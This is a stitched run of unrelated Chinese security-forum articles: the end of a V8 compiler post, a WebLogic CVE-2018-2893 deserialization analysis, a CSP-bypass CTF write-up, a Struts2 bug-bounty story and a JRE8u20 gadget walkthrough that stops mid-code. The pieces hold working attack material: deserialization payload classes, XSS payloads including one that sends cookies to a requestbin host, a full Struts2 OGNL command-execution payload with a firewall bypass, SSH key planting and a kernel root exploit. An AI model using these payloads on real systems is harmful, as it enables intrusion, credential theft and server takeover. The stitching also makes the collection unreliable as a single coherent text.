14. RegisterWeakObjectsInOptimizedCode(code, isolate);
15. return SUCCEEDED;
16. }
上述第 4 行代码接收优化编译的结果；第 6-8 行代码优化编译失败并返回 false；第 9-11 行代码重试优化编译；第 12
行代码将优化编译结果存储进 Cache，下次再优化该 SharedFunction 时将直接使用 Cache 结果。
**技术总结**
**（1）** —Trace-XXX 用于打印编译状态和结果，参见 d8 —help 或 flag-definitions.h；
**（2）** 优化编译的使能标记的定义在 flag-definitions.h 中；
**（3）** On-Stack Replacement（OSR）是一种运行时替换函数的栈帧的方法。
## 新文章介绍
**《Chrome V8 Bug》** 系列文章即将上线。
《Chrome V8 Bug》系列文章的目的是解释漏洞的产生原因，并向你展示这些漏洞如何影响 V8
的正确性。其他的漏洞文章大多从安全研究的角度分析，讲述如何设计与使用 PoC。而本系列文章是从源码研究的角度来写的，分析 PoC 在 V8
中的执行细节，讲解为什么 Poc 要这样设计。当然，学习 Poc 的设计与使用，是 V8 安全研究的很好的出发点，所以，对于希望深入学习 V8 源码和
PoC 原理的人来说，本系列文章也是很有价值的介绍性读物。
本系列文章主要讲解 <https://bugs.chromium.org/p/v8/issues> 的内容，每篇文章讲解一个 issue。如果你有想学习的
issue 也可以告诉我，我会优先讲解。
好了，今天到这里，下次见。
**个人能力有限，有不足与纰漏，欢迎批评指正**
**微信：qq9123013 备注：v8交流 邮箱：[[email protected]](mailto:[email protected])** | 社区文章 |
# CVE-2018-2893：Oracle WebLogic Server 远程代码执行漏洞分析预警
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
报告编号： B6-2018-071801
报告来源： 360-CERT
报告作者： 360-CERT
更新日期： 2018-07-18
## 0x00 漏洞描述
7月18日，Oracle官方发布了季度补丁更新，其中修复了一个 Oracle WebLogic Server
远程代码执行漏洞CVE-2018-2893，此漏洞是对编号为 CVE-2018-2628
修复的绕过，攻击者同样可以在未身份验证的情况下对WebLogic进行攻击。
360-CERT 对此漏洞进行了相关分析，认为漏洞影响严重；目前相关PoC已经公开，建议相关用户尽快进行评估升级。
## 0x01 漏洞影响面
影响版本：
* WebLogic 10.3.6.0
* WebLogic 12.1.3.0
* WebLogic 12.2.1.2
* WebLogic 12.2.1.3
## 0x02 漏洞详情
### 漏洞概况
WebLogic Server使用T3协议在WebLogic
Server和客户端间传输数据和通信，由于WebLogic的T3协议和Web协议使用相同的端口，导致在默认情况下，WebLogic Server
T3协议通信和Web端具有相同的访问权限。
易受攻击的WebLogic服务允许未经身份验证的攻击者通过T3网络访问及破坏Oracle WebLogic
Server。此漏洞的成功攻击可能导致攻击者接管Oracle WebLogic Server，造成远程代码执行。
### CVE-2018-2628
InboundMsgAbbrev 使用 resolveProxyClass 来处理 rmi
接口类型，但仅仅只是对java.rmi.registry.Registry 进行比较判断，可通过其他rmi接口构造绕过。
protected Class<?> resolveProxyClass(String[] interfaces) throws IOException, ClassNotFoundException {
String[] arr$ = interfaces;
int len$ = interfaces.length;
for(int i$ = 0; i$ < len$; ++i$) {
String intf = arr$[i$];
if(intf.equals("java.rmi.registry.Registry")) {
throw new InvalidObjectException("Unauthorized proxy deserialization");
}
}
return super.resolveProxyClass(interfaces);
}
在公开 PoC 中，通过序列化RemoteObjectInvocationHandler，利用UnicastRef建立TCP连接获取远端的RMI
registry，加载后会进行readObject解析，通过反序列化漏洞造成远程代码执行。
public class JRMPClient2 extends PayloadRunner implements ObjectPayload {
public Activator getObject ( final String command ) throws Exception {
String host;
int port;
int sep = command.indexOf(':');
if ( sep < 0 ) {
port = new Random().nextInt(65535);
host = command;
}
else {
host = command.substring(0, sep);
port = Integer.valueOf(command.substring(sep + 1));
}
ObjID id = new ObjID(new Random().nextInt()); // RMI registry
TCPEndpoint te = new TCPEndpoint(host, port);
UnicastRef ref = new UnicastRef(new LiveRef(id, te, false));
RemoteObjectInvocationHandler obj = new RemoteObjectInvocationHandler(ref);
Activator proxy = (Activator) Proxy.newProxyInstance(JRMPClient2.class.getClassLoader(), new Class[] {
Activator.class
}, obj);
return proxy;
}
public static void main ( final String[] args ) throws Exception {
Thread.currentThread().setContextClassLoader(JRMPClient2.class.getClassLoader());
PayloadRunner.run(JRMPClient2.class, args);
}
}
补丁(p27395085_1036_Generic) ，在WeblogicFilterConfig.class
的黑名单中添加了sun.rmi.server.UnicastRef, 进行防御。
private static final String[] DEFAULT_BLACKLIST_CLASSES = new String[]{"org.codehaus.groovy.runtime.ConvertedClosure", "org.codehaus.groovy.runtime.ConversionHandler", "org.codehaus.groovy.runtime.MethodClosure", "org.springframework.transaction.support.AbstractPlatformTransactionManager", "sun.rmi.server.UnicastRef"};
### 补丁绕过
WebLogic 内部类 weblogic.jms.common.StreamMessageImpl
可被序列化并且在反序列化时可以调用RMI的类，可以绕过WebLogic 的黑名单限制。
public class JRMPClient3 extends PayloadRunner implements ObjectPayload<Registry> {
public Object streamMessageImpl(byte[] object) {
StreamMessageImpl streamMessage = new StreamMessageImpl();
streamMessage.setDataBuffer(object, object.length);
return streamMessage;
}
public Object getObject (final String command ) throws Exception {
String host;
int port;
int sep = command.indexOf(':');
if (sep < 0) {
port = new Random().nextInt(65535);
host = command;
}
else {
host = command.substring(0, sep);
port = Integer.valueOf(command.substring(sep + 1));
}
ObjID objID = new ObjID(new Random().nextInt()); // RMI registry
TCPEndpoint tcpEndpoint = new TCPEndpoint(host, port);
UnicastRef unicastRef = new UnicastRef(new LiveRef(objID, tcpEndpoint, false));
RemoteObjectInvocationHandler remoteObjectInvocationHandler = new RemoteObjectInvocationHandler(unicastRef);
Object object = Proxy.newProxyInstance(JRMPClient.class.getClassLoader(), new Class[] { Registry.class }, remoteObjectInvocationHandler);
return streamMessageImpl(Serializer.serialize(object));
}
public static void main ( final String[] args ) throws Exception {
Thread.currentThread().setContextClassLoader(JRMPClient3.class.getClassLoader());
PayloadRunner.run(JRMPClient3.class, args);
}
}
## 0x03 时间线
2018-04-18 Oracle 发布季度安全更新，包含CVE-2018-2628补丁
2018-04-18 360-CERT发布 CVE-2018-2628：WebLogic 远程代码执行漏洞分析预警
2018-07-18 Oracle官方发布了季度补丁更新，包含CVE-2018-2893补丁
2018-07-18 360-CERT发布 CVE-2018-2893：WebLogic 远程代码执行漏洞分析预警
## 0x04 参考链接
1. [Oracle Critical Patch Update Advisory – July 2018](http://www.oracle.com/technetwork/security-advisory/cpujul2018-4258247.html)
2. [知道创宇：Weblogic 反序列化漏洞(CVE-2018-2628)漫谈](http://blog.knownsec.com/2018/04/weblogic-%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9Ecve-2018-2628%E6%BC%AB%E8%B0%88/)
3. [Oracle WebLogic CVE-2018-2628 patch的绕过](https://github.com/tdy218/ysoserial-cve-2018-2628)
4. [ADLab原创漏洞】WebLogic反序列化漏洞CVE-2018-2893预警](https://mp.weixin.qq.com/s/ca6iox11dV-WL2-37KqTfA) | 社区文章 |
### 前言
接近年边了比赛挺多的，就挑了几个自己擅长的类型题目做了一下，结果题目都太难了QAQ。
#### 0x01 Baby CSP
##### 1.题目简介
We just started our bug bounty program. Can you find anything suspicious?
The website is running at https://baby-csp.web.jctf.pro/
###### 这道题目太难了，赛前做了两天都每个做出来，赛后看了原作者的思路，总结了一下。
##### 2.题目源码如下：
<?php
require_once("secrets.php");
$nonce = random_bytes(8);
if(isset($_GET['flag'])){
if(isAdmin()){
header('X-Content-Type-Options: nosniff');
header('X-Frame-Options: DENY');
header('Content-type: text/html; charset=UTF-8');
echo $flag;
die();
}
else{
echo "You are not an admin!";
die();
}
}
for($i=0; $i<10; $i++){
if(isset($_GET['alg'])){
$_nonce = hash($_GET['alg'], $nonce);
if($_nonce){
$nonce = $_nonce;
continue;
}
}
$nonce = md5($nonce);
}
if(isset($_GET['user']) && strlen($_GET['user']) <= 23) {
header("content-security-policy: default-src 'none'; style-src 'nonce-$nonce'; script-src 'nonce-$nonce'");
echo <<<EOT
<script nonce='$nonce'>
setInterval(
()=>user.style.color=Math.random()<0.3?'red':'black'
,100);
</script>
<center><h1> Hello <span id='user'>{$_GET['user']}</span>!!</h1>
<p>Click <a href="?flag">here</a> to get a flag!</p>
EOT;
}else{
show_source(__FILE__);
}
// Found a bug? We want to hear from you! /bugbounty.php
// Check /Dockerfile
###### 在底部我们能看到两行注释：
* `/bugbounty.php`，应该是提交`bug`链接的地方。
* `/Dockerfile`，给我们提供了一个`Dockerfile`文件：
FROM php:7.4-apache
COPY src-docker/ /var/www/html/
RUN mv "$PHP_INI_DIR/php.ini-development" "$PHP_INI_DIR/php.ini"
EXPOSE 80
######
从`Dockerfile`中我们知道`php`使用的是开发环境。这个点是非常关键的，因为后面我们要利用`php`响应缓冲区大小填充来绕过http响应头。
##### 3.解决
###### 反射性`XSS`
###### 我们通过在`/?user=<span>ljpm</span>`插入一个标签并显示在页面中，你可以访问该地址查看<https://baby-csp.web.jctf.pro/?user=%3Cspan%3Eljpm%3C/span%3E> 。
###### 但是我们被限制在`23`个字符以内(`strlen($_GET['user']) <= 23`)，通过
<https://tinyxss.terjanq.me/> 我们能发现，payload大概是这个样子：
<svg/onload=eval(name)>
###### 根据`Content-Security-Policy`策略我们的代码显然不可能执行：
###### PHP Warnings
###### 从上面我们知道该`php`环境是开发模式下的，`hash($_GET['alg'],
$nonce)`hash函数通过`$_GET[]`来获取`alg`参数，该参数是用来选择`hash()`算法的，以便从8个随机字节中生成随机数，但是如果`alg`无效呢？它会抛出10个警告。
###### 出题人的意图：
* 通常，在PHP中，当您在调用`header()`之前返回任何主体数据时，该调用将被忽略，因为响应已发送给用户，并且必须先发送标头。 在应用程序中，在调用`header("content-security-policy: default-src 'none'; style-src 'nonce-$nonce'; script-src 'nonce-$nonce'");`之前未返回任何显式数据。但是因为警告是首先显示的，所以它们在`header()`有机会到达之前就进入了响应缓冲区。
* PHP在默认情况下将响应缓冲区设置到`4096`字节，因此通过在`warnings`内提供足够的数据，响应将在`CSP`头之前发送，从而导致头被忽略。 因此，就可以执行我们插入的代码了。
* 警告的大小也有另一个限制(好像是`1kb`)，因此有必要将4个警告各强制`1000`个字符，其实大于`1000`字符也可以的。
###### payload如下：
<script>
name="fetch('?flag').then(e=>e.text()).then(alert)";
location = 'https://baby-csp.web.jctf.pro/?user=%3Csvg%20onload=eval(name)%3E&alg='+'a'.repeat('292');
</script>
###### [poc](https://terjanq.me/justCTF2020/babycsp.html) 地址。
#### 0x02.Babier CSP
##### 1.源码
const express = require('express');
const crypto = require("crypto");
const config = require("./config.js");
const app = express()
const port = process.env.port || 3000;
const SECRET = config.secret;
const NONCE = crypto.randomBytes(16).toString('base64');
const template = name => `
<html>
${name === '' ? '' : `<h1>${name}</h1>`}
<a href='#' id=elem>View Fruit</a>
<script nonce=${NONCE}>
elem.onclick = () => {
location = "/?name=" + encodeURIComponent(["apple", "orange", "pineapple", "pear"][Math.floor(4 * Math.random())]);
}
</script>
</html>
`;
app.get('/', (req, res) => {
res.setHeader("Content-Security-Policy", `default-src none; script-src 'nonce-${NONCE}';`);
res.send(template(req.query.name || ""));
})
app.use('/' + SECRET, express.static(__dirname + "/secret"));
app.listen(port, () => {
console.log(`Example app listening at http://localhost:${port}`)
})
###### 题目乍一看，没什么思路，因为`CSP`设置了`default-src none; script-src
'nonce-${NONCE}';`，我们想要执行脚本，必须获取`nonce`的值。但是`nonce`的值是变动的因此无法使用？
##### 2.最开始的想法：
###### 利用`不完整script标签绕过nonce`
###### 示例如下：
<?php header("X-XSS-Protection:0");?>
<meta http-equiv="Content-Security-Policy" content="default-src 'self'; script-src 'nonce-xxxxx'">
<?php echo $_GET['xss']?>
<script nonce='xxxxx'>
//do some thing
</script>
###### PS: 最新版本的chrome不支持。
###### 但是该题目中隔了一行标签因此该方法失效了。
##### 3.解决
###### 几经辗转后发现，题目的`nonce`属于硬编码，直接读取即可。
###### 刚开始没注意`NONCE`已经初始化，而且在我们访问题目的时候，不会在去执行模板上面的`NONCE`生成，因此每次访问是不会变的。
###### payload：
<script nonce="g+ojjmb9xLfE+3j9PsP/Ig==">
location.href="http://http.requestbin.buuoj.cn/1jfgdf81?flag="+document.cookie;
</script>
###### PS: 需要`url`编码。
###### 访问机器人：
###### 拿到`secret`
###### 获取flag:
#### 0x03.参考链接
###### <https://hackmd.io/@terjanq/justCTF2020-writeups#Baby-CSP-web-6-solves-406-points> | 社区文章 |
# BugBounty—我如何能够绕过防火墙进行RCE并获取root用户权限！
|
##### 译文声明
本文是翻译文章，文章来源：https://wiki.ioin.in
原文地址：<https://wiki.ioin.in/url/74Vb>
译文仅供参考，具体内容表达以及含义原文为准。
## 前言
嗨，大家好，
此篇文章是关于Apache struts2 CVE-2013-2251的病毒式传播并由于其能导致执行远程命令而被高度利用的漏洞。
简而言之，通过操纵以`"action:"/"redirect:"/"redirectAction:"`为前缀的参数引入的漏洞，可以使用小于`Struts
2.3.15`作为框架，在Java Web应用程序中执行远程命令。
现在，当这个漏洞发生传播时，主流应用防火墙公司开始更新他们的规则引擎和检测技术，以防止它的进一步感染，这是一个非常明显和负责任的事情。
但是我不仅能够绕过防火墙并获得远程代码执行，还能够通过利用内核CVE以root用户身份获取服务器的shell
## 完整的攻击流程
这是当我测试旅行预订网站时发现的。
为了查明应用程序是否正在运行在易受攻击的Apache Struts框架上，您必须简单地检查以下易受攻击的参数 – “action,
redirect,redirectAction”
我google了一下(并且我受困于一个叫做OGNL的表达式)
但是这篇文章对我帮助很大：
http://blog.opensecurityresearch.com/2014/02/attacking-struts-with-cve-2013-2251.html
下面是用于运行命令`ifconfig`的有效payload
redirect:${#a=(new java.lang.ProcessBuilder(new java.lang.String[]{‘ ifconfig’})).start(),#b=#a.getInputStream(),#c=new java.io.InputStreamReader(#b),#d=new java.io.BufferedReader(#c),#e=new char[50000],#d.read(#e),#matt=#context.get(‘com.opensymphony.xwork2.dispatcher.HttpServletResponse’),#matt.getWriter().println(#e),#matt.getWriter().flush(),#matt.getWriter().close()}
但正如预期的那样，它被应用程序防火墙阻止，并将我重定向到一个bot机器页面
当这样的事情发生在我身上时，我总是回到最开始的思考。
正如前面指出的那样，我知道哪些参数易受攻击，其中之一是我在上述请求中使用的“重定向”。
“重定向”，是的，只要你觉得它是正确的，就让我们尝试在这里尝试
我只是把重定向：`http://www.goal.com`
正如你所看到的，我得到了302重定向并到达了`http://www.goal.com` 🙂
所以我之前的`ifconfig`有效payload被阻塞了，这个重定向工作，给了我一个绕过防火墙的想法，所以，我将上述有效payload改造成：
redirect:http://www.goal.com/${#a=(new java.lang.ProcessBuilder(new java.lang.String[]{‘ ifconfig’})).start(),#b=#a.getInputStream(),#c=new java.io.InputStreamReader(#b),#d=new java.io.BufferedReader(#c),#e=new char[50000],#d.read(#e),#matt=#context.get(‘com.opensymphony.xwork2.dispatcher.HttpServletResponse’),#matt.getWriter().println(#e),#matt.getWriter().flush(),#matt.getWriter().close()}
并发起请求
欢呼吧！因为我能够绕过防火墙并获得运行的`ifconfig`命令的输出
下一个目标是获得服务器的远程shell，我使用反向SSH隧道和公钥认证来尝试它，因为它允许SSH用户在不输入密码的情况下登录。
为此，我必须将攻击者服务器的ssh公钥放入受害服务器的授权列表`~/.ssh/authorized_keys`中，以证明身份，并且这将成为反向ssh隧道
因此我必须添加`id_rsa.pub`受害ssh服务器的密钥。
解释一下上述2个关键词的概念和公钥认证的概念
id_rsa.pub是您添加到其他主机authorized_keys文件中以允许您以该用户身份登录的公共密钥。
authorized_keys是允许登录到特定服务器上的特定帐户的公用密钥列表。
第一步 – 使用RCE查找受害服务器的`id_rsa.pub`文件
第二步 – 将`authorized_keys`从受害者服务器复制到攻击者服务器
第3步 – 将修改后的`authorized_keys`从攻击者服务器复制回来，通过读取`id_rsa.pub`获得受害者
现在最后一步 – 在攻击者机器上使用SSH反向隧道，所以我运行了命令行管理程序
Pheww！能够获取服务器的远程shell:)
但我没有作为root登录，这意味着我可以只有有限的权利去访问文件。
现在为了以root用户身份登录，我先去查看当前在受害机器上运行的内核是什么版本
因此，发现内核版本是2.6.32，我google去查找是否有任何开放CVE和这个相匹配，我的运气不错。发现它很容易受到提权
漏洞利用：
github - https://github.com/realtalk/cve-2013-2094
没有浪费太多时间，我运行了exp。
最后我能够获得特权升级给root用户！:)
这就是如何通过利用apache strut2漏洞和内核版本漏洞来获得作为root用户的服务器的远程shell。
感谢Kunal Aggarwal所有的共同努力！ | 社区文章 |
# 【技术分享】深度 - Java 反序列化 Payload 之 JRE8u20
|
##### 译文声明
本文是翻译文章，文章来源：weixin.qq.com
原文地址：[https://mp.weixin.qq.com/s?__biz=MzI5Nzc0OTkxOQ==&mid=2247483738&idx=1&sn=dd5ec08b7229b368d8f820d8376d2f8a](https://mp.weixin.qq.com/s?__biz=MzI5Nzc0OTkxOQ==&mid=2247483738&idx=1&sn=dd5ec08b7229b368d8f820d8376d2f8a)
译文仅供参考，具体内容表达以及含义原文为准。
作者：[n1nty@360 A-Team](http://bobao.360.cn/member/contribute?uid=2913455218)
投稿方式：发送邮件至linwei#360.cn，或登陆网页版在线投稿
**正文**
****
JRE8u20 是由 pwntester 基于另外两位黑客的代码改造出来的。因为此 payload 涉及到手动构造序列化字节流，使得它与 ysoserial
框架中所有的 payload 的代码结构都不太一样，所以没有被集成到 ysoserial 框架中。此 payload
在国内没有受到太大的关注也许与这个原因有关。我对此 payload 进行了相对深入的研究，学到了不少东西，在此与大家分享。
**需要知道的背景知识**
****
此 payload 是 ysoserial 中 Jdk7u21 的升级版，所以你需要知道 Jdk7u21 的工作原理
你需要对序列化数据的二进制结构有一些了解，serializationdumper 在这一点上可以帮到你。
**简述 Jdk7u21**
****
网上有不少人已经详细分析过 Jdk7u21 了，有兴趣大家自己去找找看。
**大概流程如下：**
TemplatesImpl 类可被序列化，并且其内部名为 __bytecodes 的成员可以用来存储某个 class 的字节数据
通过 TemplatesImpl 类的 getOutputProperties 方法可以最终导致 __bytecodes 所存储的字节数据被转换成为一个
Class（通过 ClassLoader.defineClass），并实例化此 Class，导致 Class 的构造方法中的代码被执行。
利用 LinkedHashSet 与 AnnotationInvocationHandler 来触发 TemplatesImpl 的
getOutputProperties 方法。这里的流程有点多，不展开了。
**Jdk7u21 的修补**
****
Jdk7u21 如其名只能工作在 7u21 及之前的版本，因为在后续的版本中，此 payload 依赖的
AnnotationInvocationHandler 的反序列化逻辑发生了改变。其 readObject 方法中加入了一个如下的检查：
private void readObject(ObjectInputStream var1) throws IOException, ClassNotFoundException {
var1.defaultReadObject();
AnnotationType var2 = null;
try {
var2 = AnnotationType.getInstance(this.type);
} catch (IllegalArgumentException var9) {
throw new InvalidObjectException("Non-annotation
type in annotation serial stream");
}
/// 省略了后续代码
}
可以看到在反序列化 AnnotationInvocationHandler 的过程中，如果 this.type
的值不是注解类型的，则会抛出异常，这个异常会打断整个反序列化的流程。而 7u21 的 payload 里面，我们需要 this.type 的值为
Templates.class 才可以，否则我们是无法利用 AnnotationInvocationHandler 来调用到
getOutputProperties 方法。正是这个异常，使得此 payload 在后续的JRE 版本中失效了。强行使用的话会看到如下的错误：
Exception in thread "main" java.io.InvalidObjectException: Non-annotation type in annotation serial stream
at sun.reflect.annotation.AnnotationInvocationHandler.readObject(AnnotationInvocationHandler.java:341)
.....
**绕过的思路**
****
仔细看 **AnnotationInvocationHandler.readObject** 方法中的代码你会发现大概步骤是：
var1.defaultReadObject();
检查 this.type，非注解类型则抛出异常。
代码中先利用 var1.defaultReadObject() 来还原了对象（从反序列化流中还原了 AnnotationInvocationHandler
的所有成员的值），然后再进行异常的抛出。也就是说，AnnotationInvocationHandler
这个对象是先被成功还原，然后再抛出的异常。这里给了我们可趁之机。
（以下所有的内容我会省略大量的细节，为了更好的理解建议各位去学习一下 Java 序列化的规范。）
**一些小实验**
****
**实验 1：序列化中的引用机制**
ObjectOutputStream out = new ObjectOutputStream(
new FileOutputStream(new File("/tmp/ser")));
Date d = new Date();
out.writeObject(d);
out.writeObject(d);
out.close();
向 /tmp/ser 中写入了两个对象，利用 serializationdump 查看一下写入的序列化结构如下。
STREAM_MAGIC - 0xac ed
STREAM_VERSION - 0x00 05
Contents
TC_OBJECT - 0x73 // 这里是第一个 writeObject 写入的 date 对象
TC_CLASSDESC - 0x72
className
Length - 14 - 0x00 0e
Value - java.util.Date - 0x6a6176612e7574696c2e44617465
serialVersionUID - 0x68 6a 81 01 4b 59 74 19
newHandle 0x00 7e 00 00
classDescFlags - 0x03 - SC_WRITE_METHOD | SC_SERIALIZABLE
fieldCount - 0 - 0x00 00
classAnnotations
TC_ENDBLOCKDATA - 0x78
superClassDesc
TC_NULL - 0x70
newHandle 0x00 7e 00 01 // 为此对象分配一个值为 0x00 7e 00 01 的 handle，要注意的是这个 handle 并没有被真正写入文件，而是在序列化和反序列化的过程中计算出来的。serializationdumper 这个工具在这里将它显示出来只是为了方便分析。
classdata
java.util.Date
values
objectAnnotation
TC_BLOCKDATA - 0x77
Length - 8 - 0x08
Contents - 0x0000015fd4b76bb1
TC_ENDBLOCKDATA - 0x78
TC_REFERENCE - 0x71 // 这里是第二个 writeObject 对象写入的 date 对象
Handle - 8257537 - 0x00 7e 00 01
可以发现，因为我们两次 writeObject 写入的其实是同一个对象，所以 Date 对象的数据只在第一次 writeObject
的时候被真实写入了。而第二次 writeObject 时，写入的是一个 TC_REFERENCE 的结构，随后跟了一个4 字节的 Int 值，值为 0x00
7e 00 01。这是什么意思呢？意思就是第二个对象引用的其实是 handle 为 0x00 7e 00 01 的那个对象。
在反序列化进行读取的时候，因为之前进行了两次 writeObject，所以为了读取，也应该进行两次 readObject：
第一次 readObject 将会读取 TC_OBJECT 表示的第 1 个对象，发现是 Date 类型的对象，然后从流中读取此对象成员的值并还原。并为此
Date 对象分配一个值为 0x00 7e 00 01 的 handle。
第二个 readObject 会读取到 TC_REFERENCE，说明是一个引用，引用的是刚才还原出来的那个 Date 对象，此时将直接返回之前那个
Date 对象的引用。
**实验 2：还原 readObject 中会抛出异常的对象**
看实验标题你就知道，这是为了还原 AnnotationInvocationHandler 而做的简化版的实验。
假设有如下 Passcode 类
public class Passcode implements Serializable {
private static final long serialVersionUID = 100L;
private String passcode;
public Passcode(String passcode) {
this.passcode = passcode;
}
private void readObject(ObjectInputStream input)
throws Exception {
input.defaultReadObject();
if (!this.passcode.equals("root")) {
throw new Exception("pass code is not correct");
}
}
}
根据 readObject 中的逻辑，似乎我们只能还原一个 passcode 成员值为 root 的对象，因为如果不是 root
，就会有异常来打断反序列化的操作。那么我们如何还原出一个 passcode 值不是 root 的对象呢？我们需要其他类的帮助。
假设有一个如下的 WrapperClass 类：
public class WrapperClass implements Serializable {
private static final long serialVersionUID = 200L;
private void readObject(ObjectInputStream input)
throws Exception {
input.defaultReadObject();
try {
input.readObject();
} catch (Exception e) {
System.out.println("WrapperClass.readObject:
input.readObject error");
}
}
}
此类在自身 readObject 的方法内，在一个 try/catch 块里进行了 input.readObject 来读取当前对象数据区块中的下一个对象。
**解惑**
假设我们生成如下二进制结构的序列化文件（简化版）：
STREAM_MAGIC - 0xac ed
STREAM_VERSION - 0x00 05
Contents
TC_OBJECT - 0x73 // WrapperClass 对象
TC_CLASSDESC - 0x72
...
// 省略，当然这里的flag 要被标记为 SC_SERIALIZABLE | SC_WRITE_METHOD
classdata // 这里是 WrapperClass 对象的数据区域
TC_OBJECT - 0x73 // 这里是 passcode 值为 "wrong passcode" 的 Passcode 类对象，并且在反序列化的过程中为此对象分配 Handle，假如说为 0x00 7e 00 03
...
TC_REFERENCE - 0x71
Handle - 8257537 - 0x00 7e 00 03 // 这里重新引用上面的那个 Passcode 对象
WrapperClass.readObject 会利用 input.readObject 来尝试读取并还原 Passcode 对象。虽然在还原
Passcode 对象时，出现了异常，但是被 try/catch 住了，所以序列化的流程没有被打断。Passcode 对象被正常生成了并且被分配了一个值为
0x00 7e 00 03 的 handle。随后流里出现了 TC_REFERENCE 重新指向了之前生成的那个 Passcode
对象，这样我们就可以得到一个在正常情况下无法得到的 passcode 成员值为 "wrong passcode" 的 Passcode 类对象。
读取的时候需要用如下代码进行两次 readObject：
ObjectInputStream in = new ObjectInputStream(
new FileInputStream(new File("/tmp/ser")));
in.readObject(); // 第一次，读出 Wrapper Class
System.out.println(in.readObject()); // 第二次，读出 Passcode 对象
**实验 3：利用 SerialWriter 给对象插入假成员**
SerialWriter 是我自己写的用于生成自定义序列化数据的一个工具。它的主要亮点就在于可以很自由的生成与拼接任意序列化数据，可以很方便地做到 Java
原生序列化不容易做到的一些事情。它不完全地实现了 Java 序列化的一些规范。简单地理解就是 SerialWriter 是我写的一个简化版的
ObjectOutputStream。目前还不是很完善，以后我会将代码上传至 github。
如果用 SerialWriter 来生成实验 2 里面提到的那段序列化数据的话，代码如下：
public static void test2() throws Exception {
Serialization ser = new Serialization();
// wrong passcode ，反序列化时会出现异常
Passcode passcode = new Passcode("wrong passcode");
TCClassDesc desc = new TCClassDesc(
"util.n1nty.testpayload.WrapperClass",
(byte)(SC_SERIALIZABLE | SC_WRITE_METHOD));
TCObject.ObjectData data = new TCObject.ObjectData();
// 将 passcode 添加到 WrapperClass 对象的数据区
// 使得 WrapperClass.readObject 内部的 input.readObject
// 可以将它读出
data.addData(passcode);
TCObject obj = new TCObject(ser);
obj.addClassDescData(desc, data, true);
ser.addObject(obj);
// 这里最终写入的是一个 TC_REFERENCE
ser.addObject(passcode);
ser.write("/tmp/ser");
ObjectInputStream in = new ObjectInputStream(
new FileInputStream(new File("/tmp/ser")));
in.readObject();
System.out.println(in.readObject());
}
**给对象插入假成员**
****
什么意思呢？序列化数据中，有一段名为 TC_CLASSDESC
的数据结构，此数据结构中保存了被序列化的对象所属的类的成员结构（有多少个成员，分别叫什么名字，以及都是什么类型的。）
还是拿上面的 Passcode 类来做例子，序列化一个 Passcode 类的对象后，你会发现它的 TC_CLASSDESC 的结构如下：
TC_CLASSDESC - 0x72
className
Length - 31 - 0x00 1f // 类名长度
Value - util.n1nty.testpayload.Passcode - 0x7574696c2e6e316e74792e746573747061796c6f61642e50617373636f6465 //类名
serialVersionUID - 0x00 00 00 00 00 00 00 64
newHandle 0x00 7e 00 02
classDescFlags - 0x02 - SC_SERIALIZABLE
fieldCount - 1 - 0x00 01 // 成员数量，只有 1 个
Fields
0:
Object - L - 0x4c
fieldName
Length - 8 - 0x00 08 // 成员名长度
Value - passcode - 0x70617373636f6465 // 成员名
className1
TC_STRING - 0x74
newHandle 0x00 7e 00 03
Length - 18 - 0x00 12 // 成员类型名的长度
Value - Ljava/lang/String; - 0x4c6a6176612f6c616e672f537472696e673b // 成员类型，为Ljava/lang/String;
如果我们在这段结构中，插入一个 Passcode 类中根本不存在的成员，也不会有任何问题。这个虚假的值会被反序列化出来，但是最终会被抛弃掉，因为
Passcode 中不存在相应的成员。但是如果这个值是一个对象的话，反序列化机制会为这个值分配一个 Handle。JRE8u20 中利用到了这个技巧来生成
AnnotationInvocationHandler 并在随后的动态代理对象中引用它。利用 ObjectOutputStream
我们是无法做到添加假成员的，这种场景下 SerialWriter 就派上了用场。（类似的技巧还有：在 TC_CLASSDESC 中把一个类标记为
SC_WRITE_METHOD，然后就可以向这个类的数据区域尾部随意添加任何数据，这些数据都会在这个类被反序列化的同时也自动被反序列化）
**回到主题 – Payload JRE8u20**
****
上面已经分析过是什么问题导致了 Jdk7u21 不能在新版本中使用。也用了几个简单的实验来向大家展示了如何绕过这个问题。那么现在回到主题。
JRE8u20 中利用到了名为 java.beans.beancontext.BeanContextSupport 的类。 此类与上面实验所用到的
WrapperClass 的作用是一样的，只不过稍复杂一些。
大体步骤如下：
JRE8u20 中向 HashSet 的 TC_CLASSDESC 中添加了一个假属性，属性的值就是BeanContextChild 类的对象。
BeanContextSupport 在反序列化的过程中会读到 this.type 值为 Templates.class 的
AnnotationInvocationHandler 类的对象，因为 BeanContextChild 中有 try/catch，所以还原
AnnotationInvocationHandler 对象时出的异常被处理掉了，没有打断反序列化的逻辑。同时
AnnotationInvocationHandler 对象被分配了一个 handle。
然后就是继续 Jdk7u21 的流程，后续的 payload 直接引用了之前创建出来的 AnnotationInvocationHandler 。
pwntester 在 github 上传了他改的 Poc，但是因为他直接将序列化文件的结构写在了 Java 文件的一个数组里面，而且对象间的 handle
与 TC_REFERENCE 的值都需要人工手动修正，所以非常不直观。而且手动修正 handle 是一个很烦人的事情。
为了证明我不是一个理论派 🙂 ，我用 SerialWriter 重新实现了整个 Poc。代码如下：（手机端看不全代码，在电脑上看吧）
package util.n1nty.testpayload;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import util.Gadgets;
import util.Reflections;
import util.n1nty.gen.*;
import javax.xml.transform.Templates;
import java.beans.beancontext.BeanContextChild;
import java.beans.beancontext.BeanContextSupport;
import java.io.*;
import java.util.HashMap;
import java.util.Map;
import static java.io.ObjectStreamConstants.*;
public class TestRCE {
public static Templates makeTemplates(String command) {
TemplatesImpl templates = null;
try {
templates = Gadgets.createTemplatesImpl(command);
Reflections.setFieldValue(templates, "_auxClasses", null);
} catch (Exception e) {
e.printStackTrace();
}
return templates;
}
public static TCObject makeHandler(HashMap map, Serialization ser) throws Exception {
TCObject handler = new TCObject(ser) {
@Override
public void doWrite(DataOutputStream out, HandleContainer handles) throws Exception {
ByteArrayOutputStream byteout = new ByteArrayOutputStream();
super.doWrite(new DataOutputStream(byteout), handles);
byte[] bytes = byteout.toByteArray();
/**
* 去掉最后的 TC_ENDBLOCKDATA 字节。因为在反序列化 annotation invocation handler 的过程中会出现异常导致序列化的过程不能正常结束
* 从而导致 TC_ENDBLOCKDATA 这个字节不能被正常吃掉
* 我们就不能生成这个字节
* */
out.write(bytes, 0, bytes.length -1);
}
};
